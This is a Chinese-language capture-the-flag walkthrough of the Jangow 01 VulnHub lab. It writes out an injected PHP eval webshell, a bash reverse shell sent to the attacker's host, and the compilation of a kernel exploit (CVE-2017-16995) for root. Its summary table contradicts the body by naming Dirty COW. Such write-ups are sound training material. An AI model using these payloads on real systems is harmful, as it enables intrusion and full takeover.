一、 靶场简介与获取

Jangow 01.1.0.1是一个专为渗透测试初学者设计的Boot2Root类型靶场,部署在Ubuntu系统上。该靶场模拟了真实的Web应用漏洞场景,非常适合练习信息收集、漏洞利用和权限提升等核心技能。

1.1 靶场获取步骤

  1. 访问 VulnHub官网(https://www.vulnhub.com/),这是下载各类虚拟机靶场镜像的权威平台。

  2. 在网站搜索框中输入"Jangow"或"Jangow 01.1.0.1"即可找到该靶场。

  3. 进入靶场页面后,点击下载链接获取OVA格式的虚拟机镜像文件。

1.2 环境部署流程

  1. 导入镜像:打开VMware Workstation或VirtualBox,通过"文件"→"导入"功能选择下载的OVA文件。

  2. 网络配置:将虚拟机网络适配器设置为NAT模式仅主机模式,确保攻击机与靶机处于同一网络段。

  3. 启动验证:开启靶机后,无需进行系统登录,只需确认虚拟机启动到登录界面即可。

  4. 注意事项:靶机一开始会出现无法分配ip的情况,去b站搜索yjn140博主的JanGow视频第一集可以解决,此处不再赘述。

二、 正式攻击流程

在成功启动靶机后,看到一个命令行登录界面(如上图所示),显示有 jangow01 login:提示。请勿在此界面尝试登录,我们的所有操作都将在攻击机(Kali Linux)上通过网络进行。

2.1 探测靶机IP地址

由于靶机通常通过DHCP获取动态IP,我们首先需要发现它在当前网络中的位置。

  1. 启动Kali Linux攻击机,确保其网络模式与靶机一致(推荐均为NAT模式)。

  2. 打开终端,使用ARP扫描探测。此命令会列出同一网段内所有活跃设备的IP和MAC地址。

    sudo arp-scan -l
  3. 分析扫描结果,找到不属于已知设备的IP地址。通常,VMware虚拟机的MAC地址以 00:0c:29:开头,该地址极为可能即是靶机IP(例如 192.168.186.147)。

2.2 访问靶机Web服务

获取靶机IP后,即可从外部访问其提供的网络服务,这是渗透测试的真正起点。

  1. 打开Kali Linux上的浏览器(如Firefox)。
    也可以在edge浏览器上打开,取决于个人习惯。(已配置burp代理,但目前无需使用)

  2. 在地址栏输入发现的靶机IP,格式为:http://<靶机IP>(例如 http://192.168.186.147)。

  3. 确认访问:如果页面成功加载(通常会显示一个网站目录列表或具体网页),则证明网络连通,可以开始后续的漏洞扫描与利用。

    点击site进入网站:

至此,已完成对目标的初步定位与接触,接下来的任务将是针对该Web服务进行深入的漏洞探测。

 

三、 深入侦察与漏洞探测

在成功访问靶场网站后,下一步是对其进行全面的信息收集,以寻找潜在的攻击入口。此阶段的核心目标是摸清网站结构,并对其所有交互点进行安全测试。

 

3.1 网站结构探测

首先,我们需要发现网站上隐藏的目录和文件,例如后台管理页面、配置文件、备份文件等。这些位置通常包含高风险漏洞。

  1. 浏览网站,点击一些按钮熟悉网站结构,发现buscar按钮存在跳转。

    该界面尝试输入11@qq.com等字段,没有值得期待的反应,暂不考虑。

  2. 确定准备从buscar入手,尝试查找漏洞。

3.2 漏洞分析与验证

发现可疑页面后,需要对其参数进行手动和自动化测试。

  1. 手动测试命令执行漏洞

    在浏览器中直接访问 http://<靶机IP>/site/busque.php,通常会看到一个搜索框。其URL参数可能表现为 ?buscar=关键词。您可以尝试输入以下测试载荷(Payload)来检查是否存在命令注入或SQL注入:

    • 命令执行测试:尝试注入系统命令,如 ; id| whoami,观察页面是否返回了系统信息。

    • SQL注入测试:尝试输入单引号 ',观察是否返回数据库错误信息;或尝试 ' OR '1'='1等永真条件,看搜索结果是否出现异常。

  2. 使用 sqlmap进行自动化SQL注入探测

    如果手动测试提示可能存在SQL注入,可以使用 sqlmap这一自动化工具进行深度利用。基本使用命令如下:

    sqlmap -u "http://<靶机IP>/site/busque.php?buscar=1" --batch
    • -u:指定待测试的URL。

    • --batch:使用默认选项,避免交互式提问。

      sqlmap会自动检测 buscar参数是否存在注入点,并可以进一步获取数据库名称、表数据乃至操作系统shell。

      没有值得期待的输出。

3.3 关键突破口

在Jangow靶场的实战中,busque.php页面的 buscar参数被证实存在远程命令执行漏洞。通过构造特定的Payload(例如,将搜索词替换为操作系统命令),可以直接在服务器上执行命令,这是获取系统控制权的第一个关键突破点。

 

四、漏洞利用:植入一句话木马与蚁剑连接

在确认 busque.php页面的 buscar参数存在远程命令执行漏洞后,常规且高效的利用思路是上传一个 一句话木马(Webshell),从而获得一个对目标服务器的持久化、图形化控制通道。

4.1 利用漏洞上传一句话木马

通过将特定的系统命令注入 buscar参数,可以直接在目标服务器上创建恶意脚本文件。使用命令 echo '<?php eval($_POST["xd"]);'>xd.php。

  • 命令原理:此命令利用漏洞在网站可访问目录(如 /var/www/html/site/)下创建了一个名为 xd.php的文件。

  • 木马解析:该文件包含的代码 <?php eval($_POST["xd"]);?>是一句经典的PHP一句话木马。

    • eval()是PHP中一个非常危险的函数,它能将字符串作为PHP代码执行。

    • $_POST["xd"]用于接收客户端通过POST请求传递的、名为 xd的参数的值。

    • 因此,攻击者可以通过向 xd.php发送包含特定指令的POST请求,在服务器上执行任意PHP代码,从而实现对服务器的控制。
       

      192.168.186.147/site/busque.php?buscar=echo '<?php eval($_POST["xd"]);'>xd.php

       

4.2 使用蚁剑(AntSword)连接与管理Webshell

蚁剑(AntSword)​ 是一款功能强大的开源网站管理工具,专为渗透测试和安全研究设计,用于连接和管理Webshell。

  1. 添加Shell数据

    • 在蚁剑界面空白处右键,选择“添加数据”。

    • URL地址:填写上传的一句话木马的完整访问路径, http://192.168.186.147/site/xd.php

    • 连接密码:填写在一句话木马中定义的密码,即 xd。这个密码必须与木马代码中的键名($_POST["xd"])完全一致,否则无法建立连接。

    • 编码器:保持默认

  2. 测试与连接

    • 点击“测试连接”,如果配置正确,蚁剑会提示连接成功。

    • 点击“添加”保存配置,之后双击该条记录即可连接到目标服务器。

  3. 管理服务器

    • 成功连接后,可以通过蚁剑的图形化界面轻松地进行文件管理(浏览、上传、下载、编辑、删除服务器文件)、使用虚拟终端执行系统命令、管理数据库等。这比在URL栏中手动注入命令要直观和高效得多。

    • 进入antsword,查看网页目录结构,查看相关内容

    • 查看写入的webshell,并进行一系列指令测试

五、建立反弹Shell:突破内网限制实现稳定控制

在成功获得Webshell并完成初步信息收集后,为了获得一个更稳定、交互性更强的控制通道,我们开始着手建立反向Shell连接。这一阶段的核心目标是让靶机主动连接至我们控制的攻击机,从而绕过可能的网络限制,实现持久的远程控制。

5.1 网络环境侦察与策略制定

首先,我们对靶机的网络服务端口进行了精确扫描,以确定可用的通信路径:

nmap -sS -p- 192.168.186.147 

扫描结果显示靶机仅开放了21端口(FTP)80端口(HTTP)

这表明从外部直接建立新连接的选项有限,因此我们决定利用已控制的Webshell通道,让靶机主动向外发起连接,即采用反向Shell策略,并使用443端口。

策略选择依据https://www.freebuf.com/defense/385921.html 一文中提到相关方法,在本机中出现问题无法复现。经参考后,选择443端口。在此向提供相关方法的up主表示诚挚的感谢。

5.2 攻击机(Kali)端准备与端口中继

  1. 设置iptables规则进行端口流量重定向

    在Kali上执行以下命令,将所有入站TCP连接(1-65535端口)透明地重定向到本地4444端口,此举旨在确保无论靶机尝试连接Kali的哪个端口,连接都能被我们的监听器捕获。

    sudo iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 4444
  2. 启动Netcat监听器

    开启一个新的终端窗口,执行以下命令,在4444端口启动监听,等待靶机的反向连接。

    nc -lvnp 4444

    参数说明:-l为监听模式,-v为详细输出,-n禁止域名解析,-p指定监听端口。

5.3 通过Webshell触发反向连接

在AntSword的虚拟终端中,通过已植入的Webshell执行反向Shell命令:

bash -c 'bash -i >& /dev/tcp/192.168.186.139/443 0>&1'

命令解析

  • bash -c:指示bash执行后续字符串形式的命令。

  • bash -i:启动一个交互式的bash。

  • >& /dev/tcp/192.168.186.139/443:将bash的输入输出重定向到与Kali(IP: 192.168.186.139)443端口的TCP连接。

  • 0>&1:将标准输入(0)也重定向到标准输出(1)的同一通道,实现双向交互。

由于先前设置的iptables规则,发往Kali 443端口的连接被自动重定向至4444端口。因此,如果一切顺利,之前在Kali上运行的 nc -lvnp 4444监听窗口将显示连接成功,并提供一个来自靶机的交互式Shell。

5.4 连接验证与Shell优化

  1. 验证连接:在获得的Shell中立即执行 whoamiid命令,确认当前权限(通常为www-data用户)及运行环境。

  2. 优化Shell体验:为了获得更完善的终端支持(如Tab补全、命令行编辑),可执行以下命令升级Shell:(注意:该操作在本机上为必要操作,会影响后续提权操作是否顺利)

    python3 -c 'import pty; pty.spawn("/bin/bash")'

     

 

六、权限提升:利用内核漏洞夺取Root权限

在获得稳定的反向Shell后,当前权限为普通Web服务用户(如www-data),下一步是通过系统漏洞提升至最高权限(root)。以下是完整的提权过程。

6.1 系统信息收集

首先需要全面了解目标系统环境,为寻找合适的提权漏洞奠定基础。

  • 查看系统内核版本:执行uname -a命令,显示详细系统信息。在Jangow靶场中,该命令通常会返回类似Linux jangow01 4.4.0-31-generic #50-Ubuntu SMP ...的信息,表明系统运行的内核版本为4.4.0-31

  • 确认当前用户权限:执行whoamiid命令,明确当前用户身份(如www-data)及其所属组,确认进行权限提升的必要性。

6.2 搜索可用漏洞

利用Kali Linux自带的searchsploit工具,在本地漏洞数据库(Exploit-DB)中搜索与当前系统版本匹配的提权漏洞。

  • 执行搜索命令

    searchsploit ubuntu 16.04 

    或者更精确地搜索内核版本:

    searchsploit linux 4.4.0
  • 关键发现:在搜索结果中,漏洞编号为45010.c的exp非常显眼。该exp对应CVE-2017-16995漏洞,这是一个存在于Linux内核eBPF子系统中的本地提权漏洞,恰好影响Ubuntu 16.04及内核版本4.4至4.14的系统,该漏洞依据相关教程得出。

6.3 获取并上传Exp

  • 查找Exp路径:在Kali上使用searchsploit -p 45010命令可以找到45010.c源文件在您Kali机器上的具体存放路径,通常位于/usr/share/exploitdb/exploits/linux/local/目录下。

  • 上传至靶机:通过AntSword的文件管理功能,将45010.c文件上传到靶机上一个具有写和执行权限的目录,例如/tmp或Web目录(如/var/www/html/site)。之后可以查看代码内容。

6.4 编译与执行Exp

在AntSword的虚拟终端中,导航到Exp所在目录,进行编译和执行。

  1. 编译源代码:使用GCC编译器将C源码编译成可执行文件。

    gcc 45010.c 

  2. 赋予执行权限并运行

    chmod +x a.out
    ./a.out
  3. 验证提权结果:执行后,如果成功,命令提示符通常会变为#。请立即执行whoamiid命令进行验证,应显示当前用户为root

6.5 获取最终Flag

成功获取root权限后,即可读取系统中最敏感的标志文件,完成整个渗透测试的核心目标。

  • 定位并查看Flag:Flag通常存放在/root目录下。

    cat /root/proof.txt
    

  • 屏幕上输出的字符串即为本次渗透测试的最终成果。

 

七、总结与反思

回顾整个对 Jangow 靶场的渗透测试过程,已经完整地实践了一次标准渗透测试的生命周期,并成功从外部信息收集逐步深入,最终获取系统最高权限。以下是核心攻击链条与关键收获的总结。

7.1 渗透测试流程回顾

下表清晰地展示了本次渗透测试的核心步骤与各阶段的关键操作及成果:

阶段

关键操作/工具

成果/发现

信息收集

arp-scangobuster

定位靶机IP (192.168.186.147),发现网站结构及 /site//site/wordpress/等路径。

漏洞探测

手动测试, sqlmap

确认 busque.php页面的 buscar参数存在远程命令执行漏洞,而非SQL注入。

初始访问

命令执行漏洞

利用漏洞写入一句话木马(Webshell),并通过蚁剑(AntSword)​ 成功连接,获得 www-data用户权限的稳定控制通道。

权限提升

searchsploit, 内核漏洞EXP

识别系统内核版本,找到并利用对应的本地提权漏洞(如Dirty COW),编译执行后成功获得 root权限

目标达成

-

读取 /root/proof.txt文件,获取最终标志,完成渗透目标。

7.2 技术要点与反思

  1. 漏洞利用的灵活性:最初对 buscar参数的测试集中在SQL注入,但当工具扫描无果时,迅速转向测试命令执行漏洞,这种不拘泥于单一思路的测试策略至关重要。

  2. 工具的恰当使用sqlmap的自动化扫描虽然未能发现注入点,但帮助排除了干扰。而蚁剑在Webshell管理上提供了极大的便利,展示了自动化工具与手动验证相结合的高效性。

  3. 权限提升的路径:从低权限的 www-dataroot的飞跃,凸显了系统内核漏洞在渗透测试中的极高价值。及时进行系统版本信息收集,并利用 searchsploit等资源寻找公开漏洞,是提权的关键。

  4. 攻击链的完整性:本次测试涵盖了从外网突破、权限维持到纵向提权的完整链条,模拟了真实攻击者的行为模式,体现了渗透测试 “攻击链”​ 的思维。

  5. 心得体会:初步入门,还需努力。愿此行,终抵群星。

  6. 另附:对b站yjn140 up主表示诚挚谢意,内容很详细,帮助我顺利提权,攻克靶场。

 

 

 

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐